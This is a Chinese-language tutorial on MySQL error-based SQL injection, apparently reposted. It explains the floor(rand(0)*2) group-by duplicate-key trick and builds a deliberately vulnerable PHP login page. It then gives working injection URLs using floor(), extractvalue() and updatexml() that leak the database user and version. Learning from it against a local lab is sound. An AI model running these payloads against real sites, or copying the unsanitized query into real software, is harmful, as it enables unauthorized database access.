SQL注入——報錯注入


0x00 背景

  SQL注入長期位於OWASP TOP10 榜首,對Web 安全有着很大的影響,黑客們往往在注入過程中根據錯誤回顯進行判斷,但是現在非常多的Web程序沒有正常的錯誤回顯,這樣就需要我們利用報錯注入的方式來進行SQL注入了。這篇文章會講解一下報錯注入的產生原理和利用案例。

0x01 十種報錯注入

  這十種方式在這里不多講了,詳情移步https://www.cnblogs.com/wocalieshenmegui/p/5917967.html。平時我們最常用到的三種報錯注入方式分別是:floor()、updatexml()、extractvalue()。

0x02 報錯注入的原理

  為了弄清報錯注入的原理,首先先創建了一個名為sqli的數據庫,然后建表插入數據:

mysql> create database sqli;
mysql> create table user (
        id int(11) not null auto_increment primary key,
        name varchar(20) not null,
        pass varchar(32) not null
    );
    
mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

  

  我們先看一個基於floor()的報錯SQL語句:

select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

  如果是第一次接觸報錯注入的話,一般會有這么幾個問題。

  Q1.floor()函數是什么?

  A1.floor函數的作用是返回小於等於該值的最大整數,也可以理解為向下取整,只保留整數部分。

  Q2.rand(0)是什么意思?

  A2.rand()函數可以用來生成0或1,但是rand(0)和rand()還是有本質區別的,rand(0)相當於給rand()函數傳遞了一個參數,然后rand()函數會根據0這個參數進行隨機數成成。rand()生成的數字是完全隨機的,而rand(0)是有規律的生成,我們可以在數據庫中嘗試一下。首先測試rand()

  

  我們再測試一下rand(0)的效果

  

  很顯然rand(0)是偽隨機的,有規律可循,這也是我們采用rand(0)進行報錯注入的原因,rand(0)是穩定的,這樣每次注入都會報錯,而rand()則需要碰運氣了,我們測試結果如下

  

  Q3.為什么會出現報錯?

  A3.我們看一下報錯的內容:Duplicate entry '15.5.53' for key 'group_key'。意思是說group_key條目重復。我們使用group by進行分組查詢的時候,數據庫會生成一張虛擬表

  

  在這張虛擬表中,group by后面的字段作為主鍵,所以這張表中主鍵是name,這樣我們就基本弄清報錯的原因了,其原因主要是因為虛擬表的主鍵重復。按照MySQL的官方說法,group by要進行兩次運算,第一次是拿group by后面的字段值到虛擬表中去對比前,首先獲取group by后面的值;第二次是假設group by后面的字段的值在虛擬表中不存在,那就需要把它插入到虛擬表中,這里在插入時會進行第二次運算,由於rand函數存在一定的隨機性,所以第二次運算的結果可能與第一次運算的結果不一致,但是這個運算的結果可能在虛擬表中已經存在了,那么這時的插入必然導致主鍵的重復,進而引發錯誤。

0x03 案例

  //以下案例代碼是抄的

  數據庫可以繼續使用之前的數據庫,我們在Web根目錄下建立sqli.php

 1 <?php
 2 $conn = mysql_connect("localhost", "root", "123456"); // 連接數據庫,賬號root,密碼root
 3 if (!$conn) {
 4     die("Connection failed: " . mysql_error());
 5 }
 6 
 7 mysql_select_db("sqli", $conn);
 8 
 9 // verify login info
10 if (isset($_GET['name']) && isset($_GET['pass'])) {
11     $name = $_GET['name'];
12     $pass = md5($_GET['pass']);
13 
14     $query = "select * from user where name='$name' and pass='$pass'";
15 
16     if ($result = mysql_query($query, $conn)) {
17         $row = mysql_fetch_array($result, MYSQL_ASSOC);
18 
19         if ($row) {
20             echo "<script>alert('login successful!');</script>";
21         }
22     } else {
23         die("Operation error: " . mysql_error());
24     }
25 }
26 
27 mysql_close();
28 ?>
29 
30 <!DOCTYPE html>
31 <html>
32 <head>
33     <title>Login</title>
34 </head>
35 <body>
36 <center>
37     <form method="get" action="">
38         <label>Username:</label><input type="text" name="name" value=""/><br/>
39         <label>Password:</label><input type="password" name="pass" value=""/><br/>
40         <input type="submit" value="login"/>
41     </form>
42 </center>
43 </body>
44 </html>

  在代碼的11-14行是登陸驗證模塊,可以看到程序以GET形式獲取了name和pass參數,沒有經過任何過濾直接帶入了查詢語句,這里明顯的存在SQL注入漏洞,我們用floor()報錯注入進行嘗試。

http://localhost/sqli.php?name=' or (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123

  我們再分別用updatexml()和extractvalue()分別進行嘗試(原理各不相同,但是思路均是認為構造數據庫的錯誤)

 

http://localhost/sqli.php?name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1

http://localhost/index.php?name=' or updatexml(1,concat(user(),0x7e,version()),1) # &pass=1

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM